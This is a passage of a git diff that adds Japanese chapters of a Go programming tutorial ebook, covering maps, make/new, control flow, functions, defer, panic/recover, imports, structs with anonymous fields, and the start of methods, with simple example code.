は`slice`に対して一つまたは複数の要素を追加します。その後`slice`と同じ型の`slice`を返します。 +- `copy` 関数`copy`はもとの`slice`の`src`を`dst`に要素をコピーし、コピーした要素の個数を返します。 + +注:`append`関数は`slice`が参照した配列の内容を変更し得ます。そのため、参照先と同一の配列の他の`slice`にも影響します。 +しかし`slice`の中に余分なスペースが無い(`(cap-len) == 0`)場合、動的なメモリから新たな配列空間が割り当てられます。返される`slice`配列のポインタはこの空間を指しています。また、もとの配列の内容は変わりません。この配列を参照している他の`slice`は影響を受けません。 + +### map + +`map`の概念もPythonのディクショナリです。この形式は`map[keyType]valueType`です。 + +下のコードをご覧ください。`map`の読み込みと代入は`slice`と似ています。`key`を通して操作します。ただ、`slice`の`index`は`int`型のみになります。`map`には多くの型があります。`int`でもかまいませんし、`string`や`==`と`!=`演算子が定義されている全ての型でもかまいません。 + + // keyを文字列で宣言します。値はintとなるディクショナリです。この方法は使用される前にmakeで初期化される必要があります。 + var numbers map[string] int + // もうひとつのmapの宣言方法 + numbers := make(map[string]int) + numbers["one"] = 1 //代入 + numbers["ten"] = 10 //代入 + numbers["three"] = 3 + + fmt.Println("3つ目の数字は: ", numbers["three"]) // データの取得 + // "3つ目の数字は: 3"という風に出力されます。 + +この`map`は我々が普段目にする表と同じです。左の列に`key`、右の列に値があります。 + +mapを使う段階で注意しなければならないことがいくつかあります: +- `map`は順序がありません。毎回`map`の出力は違ったものになるかもしれません。`index`で値を取得することはできず、かならず`key`を使うことになります。 +- `map`の長さは固定ではありません。`slice`と同じで、参照型の一種です。 +- ビルトインの`len`関数を`map`に適用すると、`map`がもつ`key`の個数を返します。 +- `map`の値は簡単に修正することができます。`numbers["one"]=11`というようにkeyが`one`のディクショナリの値を`11`に変えることができます。 +- `map`は他の基本型と異なり、thread-safeではありません。複数のgo-routineを扱う際には必ずmutex lockメカニズムを使用する必要があります。 + +`map`の初期化では`key:val`の方法で初期値を与えることができます。また同時に`map`には標準で`key`が存在するか確認する方法が存在します。 + +`delete`で`map`の要素を削除します: + + // ディクショナリを初期化します。 + rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } + // mapは2つの戻り値があります。2つ目の戻り値では、もしkeyが存在しなければ、okはfalseに、存在すればokはtrueになります。 + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // keyがCの要素を削除します。 + + +上述の通り、`map`は参照型の一種ですので、もし2つの`map`が同時に同じポインタを指している場合、一つの変更で、もう一つにも変更が行われます。 + + m := make(map[string]string) + m["Hello"] = "Bonjour" + m1 := m + m1["Hello"] = "Salut" // この時、m["hello"]の値もすでにSalutになっています。 + + +### make, new操作 + +`make`はビルトイン型(`map`、`slice`および`channel`)のメモリの割り当てです。`new`は各型のメモリを割り当てます。 + +ビルトイン関数`new`は本質的には他の言語で使われる同名の関数と機能が同じです:`new(T)`はゼロサプレスされた`T`型のメモリ空間を割り当て、そのアドレスを返します。すなわち`*T`型の値です。Goの専門用語で言えば、ポインタを返すということです。新たに割り当てられた型`T`のゼロ値です。とても重要なことに: + +>`new`はポインタを返します。 + +ビルトイン関数`make(T, args)`と`new(T)`は異なる機能を持っています。makeは`slice`、`map`または`channel`を作成し、初期値(非ゼロ値)を持つ`T`型を返すのみで、`*T`ではありません。本質的には、この3つの型が異なる点はデータ構造を指し示す参照が使用される前に初期化されているということです。例えば、データ(内部`array`)を指し示すポインタ、長さ,容量による3点で記述される`slice`の各項目が初期化される前は、`slice`は`nil`です。`slice`, `map`, `channel`にとって、makeは内部のデータ構造を初期化し、適当な値で埋め尽くされます。 + +>`make`は初期化後の(非ゼロの)値を返します。 + +以下の図は`new`と`make`の違いについて詳細に解説しています。 + +![](images/2.2.makenew.png?raw=true) + +図2.5 makeとnewの低レイヤでのメモリの割り当て + +"ゼロ値"というのは何もカラの値ではありません。これは一種の"変数が埋めらる前"のデフォルト値であり、通常は0です。 +それぞれの型のゼロ値は以下の通りです + + int 0 + int8 0 + int32 0 + int64 0 + uint 0x0 + rune 0 //runeの実際の型は int32 です。 + byte 0x0 // byteの実際の型は uint8 です。 + float32 0 //長さは 4 byte + float64 0 //長さは 8 byte + bool false + string "" + +## links + * [目次]() + * 前へ: [こんにちは、Go](<02.1.md>) + * 次へ: [フローと関数](<02.3.md>) diff --git a/ja/ebook/02.3.md b/ja/ebook/02.3.md new file mode 100644 index 00000000..fa747ac6 --- /dev/null +++ b/ja/ebook/02.3.md @@ -0,0 +1,520 @@ +# 2.3 フローと関数 +この節ではGoの中のフロー制御と関数操作についてご紹介します。 +## フロー制御 +フロー制御はプログラム言語の中の最も偉大な発明です。なぜならこれがあるだけで、あなたはとても簡単なフローの記述でとても複雑なロジックを表現できるからです。フロー制御は3つの部分から成ります:条件判断、ループ制御及び無条件ジャンプです。 +### if +`if`はあらゆるプログラミング言語の中で最もよく見かけるものかもしれません。この文法は大雑把に言えば:もし条件を満足しなければ何々を行い、そうでなければまたもう一つ別のことをやるということです。 + +Goの中では`if`分岐の文法の中は括弧で括る必要はありません。以下のコードをご覧ください。 + + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + +Goの`if`はすごいことに、条件分岐の中で変数を宣言できます。この変数のスコープはこの条件ロジックブロック内のみ存在し、他の場所では作用しません。以下に示します + + // 取得値xを計算し、xの大きさを返します。10以上かどうかを判断します。 + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + //ここではもしこのようにコールしてしまうとコンパイルエラーとなります。xは条件の中の変数だからです。 + fmt.Println(x) + +この条件の時は以下のようになります: + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } + +### goto + +Goには`goto`句があります- - ぜひ賢く使ってください。`goto`は必ず事前に関数内で定義したタグにジャンプします。例えばこのようなループがあったと仮定します: + + func myFunc() { + i := 0 + Here: //この行の最初の単語はコロンを最後に持ってくることでタグとなります。 + println(i) + i++ + goto Here //Hereにジャンプします。 + } + +>タグの名前は大文字小文字を区別します。 + +### for +Goにで最も協力なロジックコントロールといえば、`for`です。これはループでデータを読むのに使えます。`while`でロジックをコントロールしても構いません。イテレーション操作も行えます。文法は以下の通りです: + + for expression1; expression2; expression3 { + //... + } + +`expression1`、`expression2`と`expression3`はどれも式です。この中で`expression1`と`expression3`は変数宣言または関数のコールの戻り値のようなものです。`expression2`は条件判断に用いられます。`expression1`はループの開始前にコールされます。`expression3`は毎回ループする際の終了時にコールされます。 + +だらだら喋るよりも例を見たほうが早いでしょう。以下に例を示します: + + package main + import "fmt" + + func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) + } + // 出力:sum is equal to 45 + +時々複数の代入操作を行いたい時があります。Goのなかには`,`という演算子はないので、平行して代入することができます。`i, j = i+1, j-1` + + +時々`expression1`と`expression3`を省略します: + + sum := 1 + for ; sum < 1000; { + sum += sum + } + +この中で`;`は省略することができます。ですので下のようなコードになります。どこかで見た覚えはありませんか?そう、これは`while`の機能です。 + + sum := 1 + for sum < 1000 { + sum += sum + } + +ループの中では`break`と`continue`という2つのキーとなる操作があります。`break`操作は現在のループから抜け出します。`continue`は次のループに飛び越えます。ネストが深い場合、`break`はタグと組み合わせて使用することができます。つまり、タグが指定する位置までジャンプすることになります。詳細は以下の例をご覧ください。 + + for index := 10; index>0; index-- { + if index == 5{ + break // またはcontinue + } + fmt.Println(index) + } + // breakであれば10、9、8、7、6が出力されます。 + // continueの場合は10、9、8、7、6、4、3、2、1が出力されます。 + +`break`と`continue`はタグを添えることができます。複数ネストしたループで外側のループからジャンプする際に使用されます。 + +`for`は`range`と組み合わせて`slice`と`map`のデータを読み込むことができます: + + for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) + } + +Goは"複数の戻り値"をサポートしていますが、"宣言して使用されていない"変数に対してコンパイラはエラーを出力します。このような状況では`_`を使って必要のない戻り値を捨てる事ができます。 +例えば + + for _, v := range map{ + fmt.Println("map's val:", v) + } + + +### switch +時々たくさんの`if-else`を書くことでロジック処理を行いたくなるかもしれません。コードは非常に醜く冗長になります。またメンテナンスも容易ではなくなるので、`switch`を使って解決することができます。この文法は以下のようなものです + + switch sExpr { + case expr1: + some instructions + case expr2: + some other instructions + case expr3: + some other instructions + default: + other code + } + +`sExpr`と`expr1`、`expr2`、`expr3`の型は一致させる必要があります。Goの`switch`は非常に使い勝手がよく、式は必ずしも定数や整数である必要はありません。実行のプロセスは上から下まで、マッチする項目が見つかるまで行われます。もし`switch`に式がなければ、`true`とマッチします。 + + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + +5行目で、いくつもの値を`case`の中に集めています。また同時に、Goの`switch`はデフォルトで`case`の最後に`break`があることになっているので、マッチに成功した後は他のcaseが実行されることはなく、`switch`全体から抜け出します。ただし、`fallthrough`を使用することであとに続くcaseコードを強制的に実行させることができます。 + + integer := 6 + switch integer { + case 4: + fmt.Println("The integer was <= 4") + fallthrough + case 5: + fmt.Println("The integer was <= 5") + fallthrough + case 6: + fmt.Println("The integer was <= 6") + fallthrough + case 7: + fmt.Println("The integer was <= 7") + fallthrough + case 8: + fmt.Println("The integer was <= 8") + fallthrough + default: + fmt.Println("default case") + } + +上のプログラムは以下のように出力します + + The integer was <= 6 + The integer was <= 7 + The integer was <= 8 + default case + + +## 関数 +関数はGoの中心的な設計です。キーワード`func`によって宣言します。形式は以下の通り: + + func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + //ここはロジック処理のコードです。 + //複数の値を戻り値とします。 + return value1, value2 + } + +上のコードから次のようなことが分かります + +- キーワード`func`で`funcName`という名前の関数を宣言します。 +- 関数はひとつまたは複数の引数をとることができ、各引数の後には型が続きます。`,`をデリミタとします。 +- 関数は複数の戻り値を持ってかまいません。 +- 上の戻り値は2つの変数`output1`と`output2`であると宣言されています。もしあなたが宣言したくないというのであればそれでもかみません。直接2つの型です。 +- もしひとつの戻り値しか存在せず、また戻り値の変数が宣言されていなかった場合、戻り値の括弧を省略することができます。 +- もし戻り値が無ければ、最後の戻り値の情報も省略することができます。 +- もし戻り値があれば、関数の中でreturn文を追加する必要があります。 + +以下では実際に関数の例を応用しています(Maxの値を計算します) + + package main + import "fmt" + + // a、bの中から最大値を返します。 + func max(a, b int) int { + if a > b { + return a + } + return b + } + + func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) //関数max(x, y)をコール + max_xz := max(x, z) //関数max(x, z)をコール + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 直接コールしてもかまいません。 + } + +上では`max`関数に2つの引数があることがわかります。この型はどれも`int`です。第一引数の型は省略することができます(つまり、a,b int,でありa int, b intではありません)、デフォルトは直近の型です。2つ以上の同じ型の変数または戻り値も同じです。同時に戻り値がひとつであることに注意してください。これは省略記法です。 + +### 複数の戻り値 +Go言語はCに比べ先進的な特徴を持っています。関数が複数の戻り値を持てるのもその一つです。 + +コードの例を見てみましょう + + package main + import "fmt" + + //A+B と A*B を返します + func SumAndProduct(A, B int) (int, int) { + return A+B, A*B + } + + func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) + } + +上の例では直接2つの引数を返しました。当然引数を返す変数に命名してもかまいません。この例では2つの型のみ使っていますが、下のように定義することもできます。値が返る際は変数名を付けなくてかまいません。なぜなら関数の中で直接初期化されているからです。しかしもしあなたの関数がエクスポートされるのであれば(大文字からはじまります)オフィシャルではなるべく戻り値に名前をつけるようお勧めしています。なぜなら名前のわからない戻り値はコードをより簡潔なものにしますが、生成されるドキュメントの可読性がひどくなるからです。 + + func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return + } + +### 可変長引数 +Goの関数は可変長引数をサポートしています。可変長引数を受け付ける関数は不特定多数の引数があります。これを実現するために、関数が可変長引数を受け取れるよう定義する必要があります: + + func myfunc(arg ...int) {} +`arg ...int`はGoにこの関数が不特定多数の引数を受け付けることを伝えます。ご注意ください。この引数の型はすべて`int`です。関数ブロックの中で変数`arg`は`int`の`slice`となります。 + + for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) + } + +### 値渡しと参照渡し +引数をコールされる関数の中に渡すとき、実際にはこの値のコピーが渡されます。コールされる関数の中で引数に修正をくわえても、関数をコールした実引き数には何の変化もありません。数値の変化はコピーの上で行われるだけだからです。 + +この内容を検証するために、ひとつ例を見てみましょう + + package main + import "fmt" + + //引数+1を行う、簡単な関数 + func add1(a int) int { + a = a+1 // aの値を変更します。 + return a //新しい値を返します。 + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // "x = 3"と出力するはずです。 + + x1 := add1(x) //add1(x) をコールします。 + + fmt.Println("x+1 = ", x1) // "x+1 = 4" と出力するはずです。 + fmt.Println("x = ", x) // "x = 3" と出力するはずです。 + } + +どうです?`add1`関数をコールし、`add1`のなかで`a = a+1`の操作を実行したとしても、上述の`x`変数には何の変化も発生しません。 + +理由はとても簡単です:`add1`がコールされた際、`add1`が受け取る引数は`x`そのものではなく、`x`のコピーだからです。 + +もし本当にこの`x`そのものを渡したくなったらどうするの?と疑問に思うかもしれません。 + +この場合いわゆるポインタにまで話がつながります。我々は変数がメモリの中のある特定の位置に存在していることを知っています。変数を修正するということはとどのつまり変数のアドレスにあるメモリを修正していることになります。`add1`関数が`x`変数のアドレスを知ってさえいれば、`x`変数の値を変更することが可能です。そのため、我々は`x`の存在するアドレスである`&x`を関数に渡し、関数の変数の型を`int`からポインタ変数である`*int`に変更します。これで関数の中で`x`の値を変更することができるようになりました。この時関数は依然としてコピーにより引数を受け渡しますが、コピーしているのはポインタになります。以下の例をご覧ください。 + + package main + import "fmt" + + //引数に+1を行う簡単な関数 + func add1(a *int) int { // ご注意ください。 + *a = *a+1 // aの値を修正しています。 + return *a // 新しい値を返します。 + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // "x = 3"と出力するはずです。 + + x1 := add1(&x) // add1(&x) をコールしてxのアドレスを渡します。 + + fmt.Println("x+1 = ", x1) // "x+1 = 4"を出力するはずです。 + fmt.Println("x = ", x) // "x = 4"を出力するはずです。 + } + +このように`x`を修正するという目的に到達しました。では、ポインタを渡す長所はなんなのでしょうか? + +- ポインタを渡すことで複数の関数が同じオブジェクトに対して操作を行うことができます。 +- ポインタ渡しは比較的軽いです(8バイト)、ただのメモリのアドレスです。ポインタを使って大きな構造体を渡すことができます。もし値渡しを行なっていたら、相対的にもっと多くのシステムリソース(メモリと時間)を毎回のコピーで消費することになります。そのため大きな構造体を渡す際は、ポインタを使うのが賢い選択というものです。 +- Go言語の`string`、`slice`、`map`の3つの型はメカニズムを実現するポインタのようなものです。ですので、直接渡すことができますので、アドレスを取得してポインタを渡す必要はありません。(注:もし関数が`slice`の長さを変更する場合はアドレスを取得し、ポインタを渡す必要があります。) + +### defer +Go言語のすばらしいデザインの中に、遅延(defer)文法があります。関数の中でdefer文を複数追加することができます。関数が最後まで実行された時、このdefer文が逆順に実行されます。最後にこの関数が返ります。特に、リソースをオープンする操作を行なっているようなとき、エラーの発生に対してロールバックし、必要なリソースをクローズする必要があるかと思います。さもなければとても簡単にリソースのリークといった問題を引き起こすことになります。我々はリソースを開く際は一般的に以下のようにします: + + func ReadWrite() bool { + file.Open("file") + // 何かを行う + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true + } + +上のコードはとても多くの重複がみられます。Goの`defer`はこの問題を解決します。これを使用した後、コードは減るばかりでなく、プログラムもよりエレガントになります。`defer`の後に指定された関数が関数を抜ける前にコールされます。 + + func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true + } + +もし`defer`を多用する場合は、`defer`はLIFOモードが採用されます。そのため、以下のコードは`4 3 2 1 0`を出力します。 + + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } + +### 値、型としての関数 + +Goでは関数も変数の一種です。`type`を通して定義します。これは全て同じ引数と同じ戻り値を持つ一つの型です。 + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) + +関すを型として扱うことにメリットはあるのでしょうか?ではこの型の関数を値として渡してみましょう。以下の例をご覧ください。 + + package main + import "fmt" + + type testInt func(int) bool // 関数の型を宣言します。 + + func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true + } + + func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false + } + + // ここでは宣言する関数の型を引数のひとつとみなします。 + + func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result + } + + func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // 関数の値渡し + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) // 関数の値渡し + fmt.Println("Even elements of slice are: ", even) + } + +共有のインターフェースを書くときに関数を値と型にみなすのは非常に便利です。上の例で`testInt`という型は関数の型の一つでした。ふたつの`filter`関数の引数と戻り値は`testInt`の型と同じですが、より多くのロジックを実現することができます。このように我々のプログラムをより優れたものにすることができます。 + +### PanicとRecover + +GoにはJavaのような例外処理はありません。例外を投げないのです。その代わり、`panic`と`recover`を使用します。ぜひ覚えておいてください、これは最後の手段として使うことを。つまり、あなたのコードにあってはなりません。もしくは`panic`を極力減らしてください。これは非常に協力なツールです。賢く使ってください。では、どのように使うのでしょうか? + +Panic +>ビルトイン関数です。オリジナルの処理フローを中断させることができます。パニックが発生するフローの中に入って関数`F`が`panic`をコールします。このプロセスは継続して実行されます。一旦`panic`の`goroutine`が発生すると、コールされた関数がすべて返ります。この時プログラムを抜けます。パニックは直接`panic`をコールします。実行時にエラーを発生させてもかまいません。例えば配列の境界を超えてアクセスする、などです。 + +Recover +>ビルトイン関数です。パニックを発生させるフローの`goroutine`を復元することができます。`recover`は遅延関数の中でのみ有効です。通常の実行中、`recover`をコールすると`nil`が返ります。他には何の効果もありません。もし現在の`goroutine`がパニックに陥ったら`recover`をコールして、`panic`の入力値を補足し、正常な実行に復元することができます。 + +下の関数のフローの中でどのように`panic`を使うかご覧ください + + var user = os.Getenv("USER") + + func init() { + if user == "" { + panic("no value for $USER") + } + } + +この関数は引数となっている関数が実行時に`panic`を発生するか検査します: + + func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() //関数fを実行します。もしfの中でpanicが出現したら、復元を行うことができます。 + return + } + +### `main`関数と`init`関数 + +Goでは2つの関数が予約されています:`init`関数(すべての`package`で使用できます)と`main`関数(`package main`でしか使用できません)です。この2つの関数は定義される際いかなる引数と戻り値も持ちません。`package`のなかで複数の`init`関数を書いたとしても、もちろん可読性か後々のメンテナンス性に対してですが、`package`の中では各ファイルに一つだけの`init`関数を書くよう強くおすすめします。 + +Goのプログラムは自動で`init()`と`main()`をコールしますので、どこかでこの2つの関数をコールする必要はありません。各`package`の`init`関数はオプションです。しかし`package main`は必ず一つ`main`関数を含まなければなりません。 + +プログラムの初期化と実行はすべて`main`パッケージから始まります。もし`main`パッケージが他のパッケージをインポートしていたら、コンパイル時にその依存パッケージがインポートされます。あるパッケージが複数のパッケージに同時にインポートされている場合は、先にその他のパッケージがインポートされ、その後このパッケージの中にあるパッケージクラス定数と変数が初期化されます。次にinit関数が(もしあれば)実行され、最後に`main`関数が実行されます。以下の図で実行過程を詳しくご説明しています。 + +![](images/2.3.init.png?raw=true) + +図2.6 main関数によるパッケージのインポートと初期化過程の図 + +### import +Goのコードを書いている時は、importコマンドによってパッケージファイルをインポートすることがよくあります。私達が通常使う方法は以下を参考にしてください: + + import( + "fmt" + ) + +その後コードの中では以下のような方法でコールすることができます。 + + fmt.Println("hello world") + +上のfmtはGo言語の標準ライブラリです。実はgorootの下にこのモジュールが加えられています。当然Goのインポートは以下のような2つの方法で自分の書いたモジュールを追加することができます: + +1. 相対パス + + import "./model" //カレントファイルと同じディレクトリにあるmodelディレクトリ、ただし、この方法によるimportはおすすめしません。 + +2. 絶対パス + + import "shorturl/model" //gopath/src/shorturl/modelモジュールを追加します。 + + +ここではimportの通常のいくつかの方法をご説明しました。ただ他にも特殊なimportがあります。新人を悩ませる方法ですが、ここでは一つ一つ一体何がどうなっているのかご説明しましょう + + +1. ドット操作 + + 時々、以下のようなパッケージのインポート方法を見ることがあります + + import( + . "fmt" + ) + + このドット操作の意味はこのパッケージがインポートされた後このパッケージの関数をコールする際、パッケージ名を省略することができます。つまり、前であなたがコールしたようなfmt.Println("hello world")はPrintln("hello world")というように省略することができます。 + +2. エイリアス操作 + + エイリアス操作はその名の通りパッケージ名に他の覚えやすい名前をつけることができます。 + + import( + f "fmt" + ) + + エイリアス操作の場合パッケージ関数をコールする際プレフィックスが自分たちのものになります。すなわち、f.Println("hello world") + +3. _操作 + + この操作は通常とても理解しづらい方法です。以下のimportをご覧ください。 + + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) + + _操作はこのパッケージをインポートするだけでパッケージの中の関数を直接使うわけではなく、このパッケージの中にあるinit関数をコールします。 + + +## links + * [目次]() + * 前へ: [Goの基礎](<02.2.md>) + * 次へ: [struct型](<02.4.md>) diff --git a/ja/ebook/02.4.md b/ja/ebook/02.4.md new file mode 100644 index 00000000..c19dc7bf --- /dev/null +++ b/ja/ebook/02.4.md @@ -0,0 +1,213 @@ +# 2.4 struct型 +## struct +Go言語では、Cや他の言語と同じように、他の型の属性やフィールドのコンテナとして新しい型を宣言することができます。例えば、一個人のエンティティを表している`person`型を作成することができます。このエンティティは属性を持っています:性別と年齢です。このような型は`struct`と呼ばれます。以下にコードを示します: + + type person struct { + name string + age int + } +お分かりいただけましたでしょうか?structの宣言はこのように簡単です。上の型は2つのフィールドを持っています。 +- string型のフィールドnameはユーザの名前を保存するプロパティです。 +- int型のフィールドageはユーザの年齢を保存するプロパティです。 + +どのようにstructは使用されるのでしょうか?下のコードをご覧ください。 + + type person struct { + name string + age int + } + + var P person // Pは現在person型の変数です。 + + P.name = "Astaxie" // "Astaxie"を変数Pのnameプロパティに代入します。 + P.age = 25 // "25"を変数Pのageプロパティに代入します。 + fmt.Printf("The person's name is %s", P.name) // Pのnameプロパティにアクセスします。 +上のようなPの宣言以外に他にもいくつかの宣言方法があります。 + +- 1.順序にしたがって初期化する。 + + P := person{"Tom", 25} + +- 2.`field:value`の方法によって初期化します。この場合は順序は任意でかまいません。 + + P := person{age:24, name:"Tom"} + +- 3.もちろん`new`関数を通してポインタを作ることもできます。このPの型は*personです。 + + P := new(person) + +以下ではひと通りのstructの使用例をご説明します。 + + package main + import "fmt" + + // 新しい型を宣言します。 + type person struct { + name string + age int + } + + // 二人の年齢を比較します。年齢が大きい方の人を返し、また年齢差も返します。 + // structも値渡しです。 + func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { // p1とp2の二人の年齢を比較します。 + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age + } + + func main() { + var tom person + + // 初期値を代入します。 + tom.name, tom.age = "Tom", 18 + + // 2つのフィールドを明確に初期化します。 + bob := person{age:25, name:"Bob"} + + // structの定義の順番に従って初期化します。 + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + bob.name, paul.name, bp_Older.name, bp_diff) + } + +### structの匿名フィールド +上でstructをどのように定義するかご紹介しました。定義する際はフィールド名とその型が一つ一つ対応しています。実はGoは型だけの定義もサポートしています。これはフィールド名を書かない方法ではなく、匿名フィールドです。組み込みフィールドとも呼ばれます。 + +匿名フィールドがstructである場合、このstructがもつすべてのフィールドは隠されたまま現在定義しているこのstructに導入されます。 + +ひとつ例をお見せしましょう。上の説明がより具体的になります。 + + package main + import "fmt" + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // 匿名フィールド、デフォルトでStudentはHumanのすべてのフィールドを含むことになります。 + speciality string + } + + func main() { + // 学生を一人初期化します。 + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // 対応するフィールドにアクセスします。 + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // 対応するメモ情報を修正します。 + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // 彼の年齢情報を修正します。 + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // 体重情報も修正します。 + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) + } + +図解: + +![](images/2.4.student_struct.png?raw=true) + +図2.7 StudentとHumanの継承方法 + +Studentがageとnameの属性にアクセスする際、あたかも自分のフィールドであるかのようにアクセスしたのをご覧いただけるかと思います。そうです。匿名フィールドというのはこういうものです。フィールドの継承を実現できるのです。これってクールじゃないですか?もっとクールにする方法もありますよ。studentはHumanのフィールド名でアクセスできます。下のコードを御覧ください。ほら、とってもクールでしょ? + + mark.Human = Human{"Marcus", 55, 220} + mark.Human.age -= 1 + +匿名によるアクセスとフィールドの修正はとても便利です。でも単なるstructのフィールドですから、すべてのビルトイン型と自分で定義した型をすべて匿名フィールドとみなすことができます。下の例をご覧ください。 + + package main + import "fmt" + + type Skills []string + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // 匿名フィールド、struct + Skills // 匿名フィールド、自分で定義した型。string slice + int // ビルトイン型を匿名フィールドとします。 + speciality string + } + + func main() { + // 学生Jannを初期化します。 + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // ここで対応するフィールドにアクセスしてみます。 + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // 彼のskill技能フィールドを修正します。 + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // 匿名ビルトイン型のフィールドを修正します。 + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) + } + +上の例のとおり、structはstructを匿名フィールドとするだけでなく、自分で定義した型やビルトイン型も匿名フィールドとすることができます。また、対応するフィールド上で関数操作を行うこともできます(例えば例の中のappendです)。 + +ここで一つ疑問がでてきます:もしhumanにphoneというフィールドがあったとすると、studentもphoneと呼ばれるフィールドができます。これはどうすべきでしょうか? + +Goでは簡単にこの問題を解決することができます。外側が優先的にアクセスされますので、`student.phone`とアクセスした場合studentの中のフィールドにアクセスし、humanのフィールドにはアクセスしません。 + +このように匿名フィールドを通じてフィールドを継承することができます。当然もしあなたが対応する匿名型のフィールドにアクセスしたくなったら、匿名フィールドの名前からアクセスすることができます。下の例をご覧ください。 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string // Human型がもつフィールド + } + + type Employee struct { + Human // 匿名フィールドHuman + speciality string + phone string // 社員のphoneフィールド + } + + func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // もし我々がHumanのphoneフィールドにアクセスする場合は + fmt.Println("Bob's personal phone is:", Bob.Human.phone) + } + + +## links + * [目次]() + * 前へ: [フローと関数](<02.3.md>) + * 次へ: [オブジェクト指向](<02.5.md>) diff --git a/ja/ebook/02.5.md b/ja/ebook/02.5.md new file mode 100644 index 00000000..4c792663 --- /dev/null +++ b/ja/ebook/02.5.md @@ -0,0 +1,325 @@ +# 2.5 オブジェクト指向 +前の2つの章で関数とstructをご紹介しました。関数をstructのフィールドとして処理したくなったんじゃないですか?今日は関数のもう一つの形態についてご説明します。受け取り手のいる関数で、我々が`method`とよんでいるものです。 + +## method +今、このような状況にいると仮定します。あなたは長方形というstructを定義してこの面積を求めようとしています。では、我々の一般的な思考回路に基づけば下のような方法で実現するでしょう。 + + package main + import "fmt" + + type Rectangle struct { + width, height float64 + } + + func area(r Rectangle) float64 { + return r.width*r.height + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) + } + +このコードは長方形の面積を求めることができますが、area()はRectangleのメソッドで実現されたものではありません(オブジェクト指向のメソッドのようなもの)。Rectangleのオブジェクト(ここではr1,r2)を引数に面積を京s何する関数に渡しているだけです。 + +このように実現してももちろん構わないのですが、図形が増えてきて、正方形、五角形ついには多角形になってきた頃、これらの面積も求めようとするとどうでしょう?この場合関数を増やすしかなくなってしまいます。関数名はそれぞれ用意しなければなりません。`area_rectangle, area_circle, area_triangle...`といった具合に。 + 